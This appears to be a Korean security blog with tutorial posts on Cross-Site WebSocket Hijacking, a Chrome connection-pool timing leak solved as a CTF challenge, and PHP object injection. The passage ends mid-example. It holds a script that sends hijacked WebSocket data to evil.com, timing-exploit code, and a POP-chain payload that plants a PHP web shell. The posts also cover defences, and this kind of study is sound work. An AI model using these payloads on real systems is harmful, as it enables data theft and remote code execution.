y3onbug5 님의 블로그

CSWSH

y3onbug5 — Tue, 28 Apr 2026 23:40:35 +0900

BackGround

HTTP vs WebSocket

HTTP: 요청(Request) → 응답(Response)으로 끝나는 단발 통신
WebSocket: 한 번 연결을 맺으면, 그 뒤에는 연결을 유지한 채 양방향으로 실시간 메시지를 주고받는 통신

특징	HTTP	WebSocket
통신 방향	단방향 (Half-duplex)	양방향 (Full-duplex)
연결 상태	Stateless (상태없음)	Sateful (상태유지)
헤더 크기	큼 (매번 전송)	작음 (연결 시에만 전송)
실시간성	낮음 (Polling 필요)	매우 높음

WebSocket의 연결 과정 (Upgrade 요청)

클라이언트 요청

GET /connect HTTP/1.1
Upgrade: websocket         
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ= // 프록시 캐싱 방지   
Origin: http://yeonbug.com 
Cookie: session=abc1234

서버 응답

HTTP/1.1 101 Switching Protocols 
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=

CSWSH

Cross-Site WebSocket Hijacking의 약자로, WebSocket 자체를 공격자가 가로채는 것이다.
CSWSH는 공격자가 피해자의 브라우저를 이용해 피해사이트 WebSocket 엔드포인트에 연결하고, 서버가 쿠기 기반 인증을 그대로 신뢰할 경우 공격자가 피해자 권한으로 WebSocket 통신을 수행하게 되는 취약점이다.

즉, CSWSH는 WebSocket 핸드셰이크 단계에서 발생하는 CSRF 취약점

CSRF와 CSWSH

구분	CSRF	CSWSH
대상 프로토콜	HTTP	WebSocket
통신 방식	단방향	양방향
지속성	요청 한 번으로 끝남	연결이 끊기기 전까지 지속
데이터 탈취	거의 불가능	매우 쉬움
공격 목표	비밀번호 변경, 게시글 작성 등 특정 액션	실시간 채팅 가로채기, 계좌 정보 실시간 모니터링 등

CSRF: SOP 때문에 다른 도메인에서 온 응답을 JavaScript가 읽지 못하게 막음
→ 그래서 CSRF는 응답은 못 봐도 실행만 시키는 것을 목적으로 함
CSWSH: WebSocket에서는 SOP의 제한을 받지 않음. 따라서 연결만 되면 통로를 통해 실시간 데이터를 읽고, 마음대로 명령을 내릴 수 있음

CSRF의 흐름

(피해자) 공격자 사이트 클릭 → 브라우저가 Bank.com/transfer 로 돈 보내라고 요청함 (쿠키 포함)
(서버) "어? 피해자 쿠키네? 돈 보낼게 ~" → 끝

CSWSH의 흐름

(피해자) 공격자 사이트 클릭 → 브라우저가 Bank.com/chat 으로 WebSocket 연결 요청 (쿠키 포함)
(서버) "어? 피해자 쿠키네? 연결해줄게"
(공격자) "연결 성공!" 이제부터 이 채팅방의 모든 내용은 내 서버로 복사 → 지속적인 감시 시작

CSWSH 시나리오

1. 공격자 사이트 (evil.com) 구축
공격자는 사이트를 구축하면서 다음과 같은 자바스크립트를 작성한다.

// 피해자의 브라우저에서 실행될 악성 스크립트
const socket = new WebSocket('wss://bank.com/chat');
socket.onopen = function() {
    // 연결되자마자 서버에 민감한 정보(예: 채팅 기록)를 요청함
    socket.send(JSON.stringify({ action: "get_chat_history" }));
};
socket.onmessage = function(event) {
    // 서버가 보내준 채팅 기록을 가로채서 공격자의 서버로 재전송
    fetch('https://evil.com/steal?data=' + btoa(event.data));
};

2. 피해자가 공격자 사이트 접속
피해자가 공격자 사이트 (evil.com) 접속하는 순간, 공격자 사이트에 작성된 스크립트가 피해자의 브라우저에서 실행된다.

3. 공격자의 WebSocket 요청

피해자의 브라우저는 스크립트 명령에 따라 bank.com으로 WebSocket 연결 요청을 보낸다.

GET /chat HTTP/1.1
Host: bank.com
Upgrade: websocket
Connection: Upgrade
Origin: https://evil.com 
Cookie: session_id=Victim_ABC123

4. 서버 승인

bank.com 서버는 이 요청을 받고, Cookie 헤더만 보고 "피해자가 WebSocket 요청을 보냈구나" 라고 착각하고 승인함

HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade

5. 데이터 탈취

연결되었을 때 실행되는 공격자의 스크립트로 인해 응답 데이터를 공격자 서버로 전송해 데이터 탈취

발생 원인

1. 브라우저의 자동 쿠키 전송

특정 도메인으로 요청을 보낼 때, 그 요청이 누가 시켜서 보낸 것인지 따지지 않고 해당 도메인의 쿠키를 자동으로 헤더에 포함시킴
공격자 사이트(evil.com)에 심어진 스크립트가 bank.com으로 WebSocket 연결을 요청하면, 브라우저는 피해자의 로그인 세션이 담긴 쿠키를 자동으로 실어 보냄
서버는 요청에 담긴 쿠키를 보고 로그인 한 사용자라고 믿어버림

2. Origin 검증 누락

브라우저는 Cross-Site 요청 시, 요청이 어디서 시작되었는지 알려주는 Origin 헤더를 포함시킴
WebSocket 라이브러리나 서버 설정에서 기본적으로 Origin 헤더를 검사하지 않거나, 모든 출처(*)를 허용하도록 함

보안 방법

1. SameSite 쿠키 속성

SameSite = Lax : WebSocket 핸드셰이크 (GET 요청)에서도 기본적으로 쿠키 전송을 차단
SameSite = Strict : 오직 같은 도메인에서만 쿠키 전송

우회가능성

SameSite는 eTLD + 1을 기준으로 하는데, 만약 공격자가 같은 도메인의 다른 서브 도메인을 사용한다면 방어 효과가 없음

eTLD (Effective Top-Level Domain) + 1

eTLD: .com , .net , .co.kr , gihub.io 같이 공인된 최상위 도메인 목록
eTLD +1: 그 앞의 이름까지 포함된 것

bank.com과 evil.com 은 Cross-Site

2. Origin 헤더 검증

서버에서 내가 허용한 도메인에서 온 요청인지 확인

우회 가능성

불완전한 정규표현식 (Weak Regex)
origin.contains("bank.com"), origin.startsWith("https://bank.com")와 같이 작성 시 https://bank.com.evil.com이나 http://bank.com-security.net 같은 도메인을 만들어 우회 → 문자열 정확히 일치하는지 확인
Null Origin 허용
로컬 환경을 위해 if(origin == null) 일 때 연결을 허용하는 경우
공격자는 <iframe>의 sandbox 속성을 이용해 브라우저가 Origin:null 을 보내게 강제할 수 있음 → null 값 허용 x
서브 도메인 과잉 신뢰
*.bank.com을 허용하면, 보안이 취약한(test.bank.com) 탈취 시 메인 서비의 웹 소켓도 함께 위험해짐 → 필요한 서브 도메인만 허용

3. CSRF 토큰

HTTP에서 CSRF 방어와 동일하게 일회용 토큰 사용
웹 소켓 연결을 요청할 때 서버가 발급한 토큰을 포함 → 서버는 세션과 토큰이 일치하는 확인

우회 가능성

XSS: 사이트 내에 XSS 취약점이 있다면 토큰을 훔쳐서 사용 가능
토큰 노출: URL 파라미터로 토큰을 보내면 히스토리나 로그에 토큰이 남을 수 있음

한 가지 방어 기법에 의존하지 말고, Origin헤더 확인, CSRF 토큰, SameSite 쿠키를 결합해서 사용하는 심층 방어가 정석

참고 문헌

https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking -PortSwigger

https://datatracker.ietf.org/doc/html/rfc6455 - RFC5455

https://www.hahwul.com/cullinan/attack/cswsh/ -HAHWUL

https://www.christian-schneider.net/blog/cross-site-websocket-hijacking/ - Christian Schneider

https://cheatsheetseries.owasp.org/cheatsheets/WebSocket_Security_Cheat_Sheet.html -OWASP

XSS-Leaks: Leaking Cross-Origin Redirects

y3onbug5 — Mon, 27 Apr 2026 21:21:26 +0900

XSS-Leak

Cross-Site-Subdomain Leak에서 따온 이름
Chromium 기반 브라우저(Chrome, Edge 등)에서 Cross-Origin Redirects 목적지, fetch() 요청의 도메인 등을 누출할 수 있는 사이드 채널 공격

원래 목적이 Cross-Origin 요청의 서브도메인을 누출하는 것이 목표였기 때문에 XSS-Leak이라는 이름을 붙였다고 한다.

Background

Chrome의 커넥션 풀(Connection Pool)

브라우저는 웹 요청을 보낼 때, 내부에 동시에 처리할 수 있는 통로(소켓/커넥션)가 제한되어 있다.

Chrome은 전체 브라우저에서 최대 256개의 동시 네트워크 요청을 처리할 수 있음
같은 오리진(Same-Origin)에서는 최대 6개까지 병렬 처리가 가능

핵심 동작 - 요청 정렬 방식

Chrome은 요청마다 우선 순위가 있고, 보통은 높은 우선순위가 먼저 소켓/커넥션을 받는다.

우선순위가 같을 때 ≠ 선입선출(FIFO) 방식

Port(포트)
Scheme(스킴)
host(호스트) - 사전순(알파벳순)으로 더 작은 게 먼저 소켓을 받음

예를 들어, http://example.com:80 과 http://google.com:80 이 같은 우선순위 대기 중이면, example.com이 google.com보다 사전순으로 앞이라서 example.com 요청이 먼저 소켓을 받는다.

이러한 정렬 동작이 바로 오라클(Oracle)이 된다.

내가 고른 호스트: example
상대가 고른 호스트: google

이 동시에 소켓 1개를 두고 경쟁하게 만들면

example이 먼저면 → 내 요청이 빨리 끝남
google이 먼저면 → 내 요청이 대기해서 늦게 끝남

즉, 어떤 요청이 먼저 처리되는지를 시간 측정으로 알아냄으로써, 알 수 없어야 할 호스트명을 추론할 수 있다

CTF Challenge - 서브도메인 누출

문제: https://github.com/salvatore-abello/web-challenges/tree/main/X/salvatoreabello/exploit

Route /

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>challenge-01</title>
    <p id="result">Hello World!</p>
</head>
<body>
    <script nonce="<%= nonce %>">
        const DOMAIN = "<%= DOMAIN %>";
        const PORT = "<%= PORT %>";

        const result = document.getElementById("result");

        const toHex = s => [...new TextEncoder().encode(s)].map(b => b.toString(16).padStart(2,'0')).join('');

        window.onhashchange = () => {
            let flag = localStorage.getItem("flag") || "flag{fake_flag_for_testing}";
            fetch(`http://${toHex(flag)}.${DOMAIN}:${PORT}`)
            .finally(() => result.innerText = "request sent")
        }
    </script>
</body>
</html>

인라인 스크립트가 포함된 페이지
DOMAIN = challenge-01.babelo.xyz and PORT = 80
location.hash가 변경되면 localStorage 에서 flag를 읽어 hex 인코딩 후 http://<hex(flag)>. challenge-01.babelo.xyz:80으로 fetch() 요청을 보냄

Route /report

try{
    ...

    page = await context.newPage();
    
    console.log(`The admin will visit ${SITE} first, and then ${url}`);

    await page.goto(`${SITE}`, { waitUntil: "domcontentloaded", timeout: 5000 });
    await sleep(100);

    await page.evaluate((flag) => {
        localStorage.setItem('flag', flag);
    }, FLAG);

    console.log(`localStorage.setItem('flag', '${FLAG}')`)

    await sleep(500);

} catch (err) {
    console.error(err);
    if (browser) await browser.close();
    return reject(new Error("Error: Setup failed, if this happens consistently on remote contact the admin"));
}

resolve("The admin will visit your URL soon");

try {
    await page.goto(url, { waitUntil: "domcontentloaded", timeout: 5000 });
    await sleep(120_000);
} catch (err) {
    console.error(err);
}

헤드리스 Chrome 봇을 실행
챌린지 사이트 방문 → flag를 localStorage에 저장 → 공격자가 제공한 URL로 이동 → 120초 대기

컨텐츠 보안 정책(Content Security Policy, CSP)

app.use((req, res, next) => {
    const nonce = crypto.randomBytes(16).toString('base64');
    res.locals.nonce = nonce;

    res.setHeader("Content-Security-Policy", `default-src 'none'; script-src 'nonce-${nonce}'; connect-src *.${DOMAIN}; base-uri 'none'; frame-ancestors 'none'`);
    next();
});

script-src 'nonce-…' : nonce 없이는 스크립트 실행 불가
connect-src *. challenge-01.babelo.xyz : 네트워크 요청은 해당 도메인의 서브도메인으로만 가능
frame-ancestors ‘none’ : iframe으로 삽입 불가

즉, XSS도 안되고, 직접 데이터도 읽을 수 없는 상황

Exploit - Leaking subdomains of cross-origin requests

const sleep = (ms) => {
    return new Promise(resolve => {
        setTimeout(resolve, ms);
    });
}

// sends a fetch request that takes 360 seconds to finish
const fetch_sleep_long = (i) => {
    controller = new AbortController();
    const signal = controller.signal;

    fetch(`http://sleep${i}.${MYSERVER}/360?q=${i}`, {
        mode: 'no-cors',
        signal: signal
    });

    return controller
}

// blocks one socket
const block_socket = async (i) => {
    let controller = fetch_sleep_long(i);
    await sleep(0);

    return controller;
}

// exhausts all sockets except one
const exhaust_sockets = async() => {
    let i = 0
    for (; i < SOCKETLIMIT; i++) {
        let controller = await block_socket(i);
        controllers.push(controller);
    }
}

먼저 커넥션 풀(Connection pool)을 설정하는 함수를 만듬

1. 커넥션 풀 고갈

시간이 오래 걸리는 요청을 255개를 보내서 커넥션 풀을 고갈 시킴
소켓이 1개만 남은 상태가 됨

2. 피해자의 비밀 요청 트리거

피해자 페이지는 hashchange 같은 이벤트로 http://<hex(flag)>. DOMAIN를 보내도록 만들어져 있음
이 시점에 마지막 1개의 소켓도 차단해, 피해자의 요청을 대기 줄에 서게 함

3. 공격자의 추측 요청 보내기

공격자가 자기 추측 값으로 요청을 하나 더 보냄
Ex) http://FFFF.attacker.com
이 요청도 소켓이 없으니 대기 줄에 들어감

현재 대기 줄에는 http://<hex(flag)>. DOMAIN과 http://7FFF.attacker.com 두 요청이 있음 (7FFF인 이유는 0~F 중간 값)

4. 소켓 1개 비우고, 기준치 요청 보내기

공격자는 소켓 1개를 비우고 http://0000.attacker.com 요청을 보냄
이 요청은 250ms 후에 답장하도록 설정

5. 누가 먼저 들어왔는지 시간으로 판단

피해자가 6으로 시작한다고 가정
6xxx < 7FFF : 피해자가 먼저 소켓에 들어감. 내 요청이 끝나는데 오래 걸림 (600ms 이상)
피해자가 6으로 시작하고, 내 추측 값이 5FFF 였다고 가정
6xxx < 5FFF : 내 요청이 빨리 끝남 250ms 이하

공격자의 요청 속도	의미
빠름 ( < 250ms)	추측 값이 비밀보다 사전 순 앞(=비밀이 더 큼)
느림 ( > 600ms)	추측 값이 비밀보다 사전 순 뒤(= 비밀이 더 작음)

공격자는 이진 탐색으로 7 → 3 → 1 이런 식으로 좁혀서 비밀 값을 알아낸다.

이것이 곧 비밀 값이 내 추측보다 큰가? 작은가? 를 알려주는 오라클!

리다이렉트 호스트 누출

리다이렉트 호스트

리다이렉트는 서버가 이 URL 말고 다른 URL로 가라고 지시하는 동작 (보통 301/302)
이때 다른 URL로 이동하라고 지시한 URL에서 호스트의 부분

https://admin.example.com/dashboard
host: admin.example.com

admin.example.com 부분이 리다이렉트 호스트이다.

시나리오

소스코드: https://gist.github.com/salvatore-abello/7d4fd69a098e1f80c900747dc1d3dae5

Google을 OpenID Connect 프로바이더로 사용하는 로그인 시스템:

관리자(admin) → admin.test.localhost.com 으로 리다이렉트
일반 사용자(user) → app.test.localhost.com 으로 리다이렉트
한번 로그인하면 /login 접근 시 자동으로 해당 서브도메인으로 리다이렉트 됨

공격 원리

리다이렉트 네비게이션의 우선순위는 매우 높아서 공격자도 같은 우선순위 요청(frame navigation)을 사용한다.

사전순으로 admin < ajj < app 이므로, 공격자는 ajj를 비교 값으로 사용

사용자 유형	리다이렉트 목적지	ajj와 비교	결과
관리자	admin.test.localhost.com	admin < ajj → 리다이렉트가 먼저	공격자가 요청 지연됨 ( >500ms)
일반 사용자	app.test.localhost.com	app > ajj → 공격자가 먼저	공격자 요청 빠르게 완료

Exploit

1. 커넥션 풀 고갈

요청 255개 보냄
소켓이 1개만 남은 상태가 됨

2. auth.localhost.com/login 열기

윈도우에서 auth.localhost.com/login을 염
이때 1개 남은 소켓을 차단해 auth.localhost.com/login 요청을 대기로 만듦

3. 소켓 1개 열고, 즉시 다시 차단

첫 요청만 처리, 리다이렉트는 대기
auth.localhost.com/login의 요청을 열렸을 때 들어가고, 리다이렉트 된 admin (or app).test.localhost.com은 소켓이 없으니 대기

4. ajj.attacker.com으로 iframe 요청

frame 네비게이션과 우선순위가 동일
ajj.attacker.com도 소켓이 없으니 대기로 감

현재 리다이렉트 요청과 공격자 요청(ajj)이 대기 상태

5. 소켓 1개 열고, 즉시 다시 차단

리다이렉트 vs iframe 경쟁 유발

피해자가 관리자인 경우	피해자가 일반 사용자인 경우
대기: admin vs ajj	대기: app vs ajj
admin < ajj → 리다이렉트 먼저	ajj < app → 공격자가 먼저
공격자(ajj)는 여전히 대기	공격자(ajj)가 소켓을 먼저 차지하고 빠르게 완료

6. 000000.attacker.com으로 요청 전송

000000은 어떤 호스트보다 사전 순으로 앞임

7. 소켓 1개 열고, 즉시 다시 차단

000000은 사전순으로 1등이므로 소켓을 차지함
이 요청은 500ms 후에 응답

8. 소켓 1개 열고 끝

500ms 대기 후, 000000 끝나고 소켓 반환
남아있는 요청 처리

ajj의 총 소요 시간을 측정한다.

ajj 소요 시간	판정
> 500ms (오래 걸림)	admin이 ajj보다 앞 → 관리자
< 500ms (빠르게 끝남)	ajj가 app보다 앞 → 일반 사용자

활용 사례

크로스 오리진 요청 개수 세기 : 타겟이 몇 개의 요청을 보내는지 파악
https://blog.babelo.xyz/posts/css-exfiltration-under-default-src-self/#swimming-in-the-connection-pool-
POST 요청 지연시키기 : 특정 요청의 타이밍 조작
https://github.com/icesfont/ctf-writeups/tree/main/idekctf/2025#appendix
스킴(Scheme) 누출: 요청이 http 인지 https 인지 판별
포트번호 누출 : 요청의 목적이 포트 파악
GroupId.privacy_made_ : 누출 가능성 (미검증)

한계 및 결론

Chromium 기반 브라우저에서만 동작 (Firefox, Safari 불가)
Chrome에 보고 했지만, 기존 커넥션 풀 고갈 공격의 변형으로 간주되어 WAI (Won't fix, As Intended)로 분류

XSS(스크립트 주입)이 필요 없이, 브라우저의 커넥션 풀 내부 구현(요청 정렬 방식)이라는 사이드 채널을 이용해 크로스 오리진 요청의 목적지를 추론해 내는 공격 기법이다.

Connection Pool로 이용한 Timing 기법은 예전에도 있었지만, 재조명된 이유는 공격 목표가 더 구체적이고 직접적이 됐기 때문이다.

타이밍으로 뭔가 추측 가능 수준이 아니라 redirect 목적지를 뽑아낼 수 있다로 인식이 바뀌었다.

참고 문헌

xss-Leak: 교차 출처 리디렉션 유출 | 살바토레 아벨로의 블로그 --- XSS-Leak: Leaking Cross-Origin Redirects | Salvatore Abello's Blog

https://blog.babelo.xyz/posts/cross-site-subdomain-leak/

PHP Object injection

y3onbug5 — Thu, 19 Mar 2026 13:06:51 +0900

PHP Object injection?

애플리케이션 레벨의 취약점으로, 사용자가 제공한 입력값이 적절한 검증 없이 PHP의 unserialize() 함수에 전달될 때 발생한다.

OWASP

PHP Object injection은 상황(Context)에 따라 공격자가 다양한 악의적인 공격을 수행할 수 있게 하는 애플리케이션 계층의 취약점이다.

연계 가능한 공격:
- Code Injection
- SQL Injection
- Path Traversal
- Denial of Service (DoS)

발생 조건

취약점이 성공적으로 익스플로잇 되기 위해서 2가지 조건이 필수적이다.

악용 가능한 매직 메서드가 구현된 클래스 존재
1. __wakeup(), __destruct(), __toString() 등
2. 이들이 "POP Chain"의 시작점이 될 수 있어야 함
클래스가 역직렬화 시점에 선언되어 있거나 자동 로딩 지원
1. unserialize() 호출 시 해당 클래스가 이미 메모리에 있어야 함
2. 또는 Autoloading이 설정되어 있어야 함

왜 직렬화가 필요한가?

HTTP 특성
HTTP는 상태를 유지하지 않는(stateless) 프로토콜로,
- 각 요청이 독립적으로 처리됨
- 이전 요청의 정보를 기억하지 못함
- 로그인 상태, 장바구니 등의 정보를 별도로 저장해야 함

문제 상황

class User {
	public $name = "Alice";
    public $isAdmin = false;
    public $cart = ["item1", "item2"];
}

$user = new User();

이 $user 객체를 파일이나 데이터베이스에 저장하려면 어떻게 해야 할까?

문제점:

객체는 메모리 상의 복잡한 구조
파일/DB는 기본적으로 문자열 데이터만 저장 가능
객체를 그대로는 저장할 수 없음

이에 대한 해결책 → 직렬화

직렬화(Serialization)는 객체를 저장하거나 전송하기 위해 문자열/바이트로 변환하는 과정:

객체 (메모리) -> serialize() -> 문자열 -> 파일/DB/네트워크 
문자열 -> unserialize() -> 객체(메모리)

직렬화와 역직렬화

serialize() 함수

class User {
    public $username = "alice";
    public $email = "alice@example.com";
    private $password = "secret123";
}

$user = new User();
$serialized = serialize($user);
echo $serialized;

이 예제를 설명하기 전에, 사전 지식이 하나 필요하다.

객체지향 프로그래밍에서 객체를 생성할 때는 초기화 작업이 필요하다.
new 키워드로 객체를 만들면 PHP는 자동으로 __construct() 메소드를 찾아서 실행한다. 이것을 생성자(constructor)라고 부른다.

생성자의 역할에는 몇 가지가 있다.

속성에 초기값 설정
필요한 리소스 연결(데이터베이스, 파일 등)
객체 사용 전 필요한 검증 수행

출력 결과

O:4:"User":3:{
    s:8:"username";s:5:"alice";
    s:5:"email";s:17:"alice@example.com";
    s:14:"Userpassword";s:9:"secret123";
}

직렬화 포맷 분석

기본 구조:

O:4:"User":3:{...}
│ │  │     │
│ │  │     └─ 속성 개수 (3개)
│ │  └─────── 클래스명 ("User")
│ └────────── 클래스명 길이 (4글자)
└──────────── Object 타입

속성별 분석

1. Public 속성

s:8:"username";s:5:"alice";
│ │    │        │ │   │
│ │    │        │ │   └─ 값: "alice"
│ │    │        │ └───── 값의 길이: 5
│ │    │        └─────── 타입: string
│ │    └──────────────── 속성명: "username"
│ └───────────────────── 속성명 길이: 8
└─────────────────────── 타입: string

2. Private 속성 - 특별한 규칙

s:14:"Userpassword";s:9:"secret123";
   ││              │
   ││              └─ 실제로는 "\x00User\x00password"
   │└──────────────── 길이가 14인 이유
   └───────────────── NULL byte 포함

Private 속성은 앞/뒤에 NULL 바이트 (\x00)가 추가된다.
- 형식: \x00ClassName\x00propertyName
- 예시: \x00User\x00password
- 길이 계산: 1(NULL) + 4(User) + 1(NULL) + 8(password) = 14

3. Protected 속성

s:8:"\x00*\x00email";s:17:"alice@example.com";

Protected 속성은 클래스명 대신 별포 (*)가 사용된다

형식: \x00*\x00propertyName
길이 계산: 1(NULL) + 1(*) + 1(NULL) + 5(email) = 8

unserialize() 함수

기본동작

$restored = unserialize($serialized);
var_dump($restored);

출력 결과

object(User)#2 (3) {
    ["username"]=> string(5) "alice"
    ["email"]=> string(17) "alice@example.com"
    ["password":"User":private]=> string(9) "secret123"
}

unserialize()는 문자열을 파싱하여 원래의 User 객체를 메모리에 재생성한다.
이때 중요한 점은 객체의 생성자(__construct())가 호출되지 않는다는 것이다. unserialize()는 직렬화 문자열에 저장된 정보만을 가지고 객체를 복원하기 때문이다.

class User {
    public $role = "guest";
    
    public function __construct() {
        // 보안 검증
        if (!$this->isValidSession()) {
            throw new Exception("Invalid session");
        }
        // 초기화
        $this->role = $this->determineRole();
    }
}

// 정상 생성
$user1 = new User();  // __construct() 호출됨 ✓

// 역직렬화
$user2 = unserialize($data);  // __construct() 호출 안됨 ✗

생성자의 모든 검증 로직이 무시됨
초기화 코드가 실행되지 않음
객체가 불완전한 상태로 생성될 수 있음

Magic Methods(매직 메서드)

PHP에는 특정 상황에서 자동으로 호출되는 특별한 메소드들이 있다.

이들은 Magic Methods라고 부른다. 이름이 모두 두 개의 밑줄 (__)로 시작한다.

앞에서 new 키워드로 객체를 만들면 PHP는 자동으로 __construct() 메소드를 찾아서 실행하는 것을 확인했다.

이게 바로 매직 메서드이다.

역직렬화와 관련하여 가장 중요한 Magic Methods는 다음과 같다.

__wakeup(): PHP 공식 문서에 따르면
"unserialize()는 __wakeup() 메소드의 존재 여부를 확인하고, 존재한다면 그것을 실행합니다."
이 메소드는 역직렬화가 완료된 직후에 자동으로 호출된다. 원래 용도는 데이터베이스 연결처럼 직렬화할 수 없는 리소스를 다시 연결하기 위한 것이다.
__destruct(): 이것은 소멸자로, PHP 문서에서 "객체에 대한 모든 참조가 제거되거나 객체가 명시적으로 파괴될 때, 또는 스크립트 실행이 끝날 때 자동으로 호출된다"라고 설명한다.
__toString(): 객체가 문자열로 취급될 때 자동으로 호출된다.
예를 들어 echo $object; 를 실행하면 이 메소드가 호출된다.
__call(): 존재하지 않는 메소드를 호출할 때 자동으로 호출된다.

그 이유는 객체의 생명주기를 관리하기 위해서이다.

일반적인 프로그래밍 언어에서는 객체가 생성될 때 생성자를 호출하고, 소멸될 때 소멸자가 호출된다.

일반 객체 생성:
new Object() → __construct() → [사용] → __destruct()

역직렬화:
unserialize() → __wakeup() → [사용] → __destruct()
                ↑
         __construct() 호출 안됨

__construct(): 객체 생성 시
__destruct(): 객체 소멸 시

역직렬화는 특별한 형태의 "객체 생성" 이므로, PHP는 개발자가 이 시점에 필요한 초기화 코드를 실행할 수 있도록 __wakeup()을 제공한다.

문제는 이런 자동 실행 메커니즘이 보안 취약점으로 이어질 수 있다.

왜 echo가 __toString()을 호출하는가?

타입 변환의 필요성

echo "Hello";  // 문자열 → 그대로 출력
echo 123;      // 숫자 → 자동으로 문자열 변환
echo true;     // 불리언 → "1" 또는 ""로 변환
echo $object;  // 객체 → ???

PHP는 객체를 어떻게 문자열로 표현해야 할지 모른다.

이에 대해서 PHP는 객체에 __toString() 메서드가 있다면 자동으로 호출해 문자열 표현을 얻는다

없으면 Fatal error: Object could not be converted to string

이외에 자동 호출되는 다양한 상황:

class Person {
    private $name = "Alice";
    
    public function __toString() {
        return $this->name;
    }
}

$person = new Person();

// 1. echo/print
echo $person;  // "Alice"

// 2. 문자열 연결
$greeting = "Hello, " . $person;  // "Hello, Alice"

// 3. 문자열 함수
strlen($person);  // 5

// 4. 파일 쓰기
file_put_contents("file.txt", $person);  // "Alice" 저장

// 5. 문자열 비교
if ($person == "Alice") { }  // __toString() 호출

// 6. 정규표현식
preg_match("/Alice/", $person);  // __toString() 호출
```

이것이 POP Chain에서 중요한 이유:

개발자가 의도하지 않은 상황에서도 호출될 수 있음
echo 하나로 전체 공격 체인이 시작될 수 있음

PHP Object Injection 취약점

기본 메커니즘

// 취약한 코드
$user_input = $_GET['data'];
$object = unserialize($user_input);

분석

1. 사용자 입력 접수

GET /page.php?data=O:6:"Logger":1:{s:7:"logfile";s:9:"shell.php";}

2. 역직렬화

$object = unserialize($_GET['data']);
// Logger 객체가 메모리에 생성됨
// logfile 속성 = "shell.php"

3. 매직 메서드 자동 호출

// 스크립트 종료 시
// Logger::__destruct() 자동 실행

4. 위험한 동작 수행

class Logger {
    public $logfile;
    
    public function __destruct() {
        // 공격자가 제어하는 $logfile 사용!
        file_put_contents($this->logfile, "log data");
        // → shell.php 파일 생성
    }
}

개발자들이 이런 실수를 하는 이유?

시나리오 1: 세션 관리의 편의성

// 개발자의 의도: 세션 데이터를 쿠키에 저장
$user = new User();
$user->username = "alice";
$user->role = "admin";

// 직렬화하여 쿠키에 저장
setcookie("session", serialize($user));

// 다음 요청에서 복원
$user = unserialize($_COOKIE['session']);

그런데,

쿠키는 클라이언트 측에 저장됨
공격자가 쿠키 값을 자유롭게 수정 가능
서명/암호화 없이 저장하면 매우 위험

시나리오 2: API 토큰 간편 구현

// JWT 대신 간단하게...
$token = base64_encode(serialize($userData));

// 나중에 복원
$userData = unserialize(base64_decode($token));

문제점:

Base64는 암호화가 아님 (단순 인코딩)
공격자가 토큰을 디코딩 → 수정 → 인코딩 가능

시나리오 3: 캐시 시스템

// Redis에 객체 저장
$cache->set("user:123", serialize($user));

// 나중에 가져오기
$user = unserialize($cache->get("user:123"));

Redis가 외부에 노출되어 있다면?
다른 취약점으로 Redis에 쓰기 가능하다면?

Private 속성을 조작할 수 있는 이유

접근 제어의 작동 방식:

class BankAccount {
    private $balance = 1000;
}

$account = new BankAccount();
$account->balance = 9999999;  // Fatal error!

Private은 코드 실행 시점에만 보호된다.

직렬화에서의 동작

직렬화/역직렬화는 데이터 변환 과정이지 코드 실행이 아니다.

serialize(): 객체 → 문자열 (접근 제어 무시)
unserialize(): 문자열 → 객체(접근 제어 무시)

공격자의 우회 방법

방법 1: Reflection API 사용

$obj = new Target();
$reflection = new ReflectionClass('Target');

// Private 속성 접근 가능하게 설정
$prop = $reflection->getProperty('command');
$prop->setAccessible(true);

// 값 변경
$prop->setValue($obj, 'whoami');

// 직렬화
$payload = serialize($obj);

방법 2: 문자열 직접 작성

// Private 속성 포맷: \x00ClassName\x00propertyName
$payload = 'O:6:"Target":1:{' .
    's:15:"' . "\x00" . 'Target' . "\x00" . 'command";' .
    's:6:"whoami";' .
'}';

방법 3: NULL 바이트 URL 인코딩

GET /page.php?data=O:6:"Target":1:{s:15:"%00Target%00command";s:6:"whoami";}

HTTP 전송 시 NULL 바이트(\x00) 를 %00로 인코딩

결과

세 방법 모두 동일한 결과

O:6:"Target":1:{s:15:"\x00Target\x00command";s:6:"whoami";}

unserialize()는 이 문자열을 파싱하여

Target 클래스의 객체 생성
Private 속성 command에 whoami 할당
접근 제어를 전혀 검사하지 않음

공격 기법

POP Chian (Property Oriented Programming)

POP Chain은 시스템 해킹의 ROP(Return-Oriented Programming)와 유사하게, 여러 클래스의 메서드를 체인처럼 연결하여 최종 목표(RCE, 파일 쓰기 등)를 달성하는 공격 기법

구조:

[진입점] → [중간 가젯 1] → [중간 가젯 2] → ... → [최종 싱크]

구성요소

진입점 (Entry Point)
- 자동으로 호출되는 매직 메서드
- 주로 __destruct(), __wakeup(), __toString()
중간 가젯 (Gadget)
- 다른 객체의 메서드를 호출하는 "징검다리"
- 각 가젯이 다음 가젯을 호출하며 체인 형성
최종 싱크(Sink)
- 실제 공격이 실행되는 위험한 함수
- 예: eval(), system(), file_put_contents()

예제 (2단계 POP Chain)

// === 피해자 서버의 코드 ===

// 1. 진입점 - Template 클래스
class Template {
    private $template_data;
    
    public function __destruct() {
        // 객체 파괴 시 자동 실행
        echo $this->template_data;
        // ↑ 만약 이것이 객체라면 __toString() 호출!
    }
}

// 2. 최종 싱크 - FileManager 클래스
class FileManager {
    private $filename;
    private $content;
    
    public function __toString() {
        // 문자열 변환 시 자동 실행
        file_put_contents($this->filename, $this->content);
        return "파일 저장됨";
    }
}

// 3. 취약한 코드
$data = $_GET['data'];
$obj = unserialize($data);  // 역직렬화
// ... 스크립트 종료 시 __destruct() 자동 호출

공격 페이로드 구성

// === 공격자의 로컬 환경 ===

// 1단계: FileManager 객체 생성 (최종 싱크)
$fileManager = new FileManager();
$ref = new ReflectionClass('FileManager');

// filename 설정
$filenameProp = $ref->getProperty('filename');
$filenameProp->setAccessible(true);
$filenameProp->setValue($fileManager, 'shell.php');

// content 설정 (웹셸 코드)
$contentProp = $ref->getProperty('content');
$contentProp->setAccessible(true);
$contentProp->setValue($fileManager, '<?php system($_GET["cmd"]); ?>');

// 2단계: Template 객체 생성 (진입점)
$template = new Template();
